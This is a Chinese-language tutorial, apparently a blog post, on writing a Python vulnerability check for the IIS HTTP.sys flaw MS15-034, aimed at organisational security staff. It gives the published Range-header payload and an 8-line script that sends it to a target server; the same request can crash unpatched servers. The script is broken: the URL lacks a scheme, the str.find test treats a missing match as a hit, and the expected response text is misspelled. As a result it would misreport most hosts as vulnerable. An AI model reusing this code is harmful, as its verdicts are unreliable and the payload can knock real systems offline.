作為單位的網(wǎng)絡(luò)安全管理員,經(jīng)常會遇到這樣的情況,某些漏洞在互聯(lián)網(wǎng)上被批露后,在用的掃描工具卻無法及時集成。
遇到這種情況,領(lǐng)導會說:“自己想辦法,抓緊檢測是否有這個漏洞。”很多人會告訴你可以用自行編寫Poc這個方法,指的就是根據(jù)漏洞的簡單原理寫出對應(yīng)的漏洞檢測代碼,用來驗證漏洞是否存在。那么如何編寫Poc呢?可能你會把它想象的無比困難。
Python的出現(xiàn),極大簡化了Poc的編寫過程,我們不需要再把時間浪費在網(wǎng)絡(luò)連接、發(fā)送HTTP數(shù)據(jù)等繁瑣的雜事上。以15年打擊面最廣的“HTTP.SYS遠程執(zhí)行代碼漏洞”(ms15-034)為例,編寫Poc只需要兩個步驟。
第一步:簡單了解漏洞觸發(fā)機制
在網(wǎng)上可以搜索到,這個漏洞觸發(fā)機制就是:使用IIS作為WEB容器可能存在編號為MS-15034的遠程代碼執(zhí)行漏洞,可以發(fā)送測試代碼,若返回“Requested Range Not Satisfiable”則證明存在此漏洞。
下面就是被公布的測試代碼:
Host: stuff
Range: bytes=0-" + hexAllFfff
簡單來說,要驗證是否存在漏洞,只要把測試代碼發(fā)送到目標服務(wù)器上,進行驗證即可,而這就是利用Python編寫Web漏洞檢測工具(Poc)的過程。
第二步:用Python編寫漏洞檢測具體代碼
代碼只有8行,我進行了詳細注釋,直接貼出來。
import requests # 發(fā)送web請求所需的庫
url = '127.0.0.1' # 需要測試的服務(wù)器IP
payload = {'Host':'stuff','Range':'bytes=0-18446744073709551615'} # 測試代碼
r1 = requests.get(url, headers=payload) #發(fā)送測試代碼
if str(r1.content).find('Requested Range Not Satisfialbe'): # 檢查返回結(jié)果
print('{}有ms15-034漏洞'.format(url))
else:
print('{}不存在ms15-034漏洞'.format(url))
簡單兩步加上8行代碼,就完成了一個ms15-034漏洞檢測工具。當然,實際應(yīng)用還有很多需要完善的地方,那就自己動手吧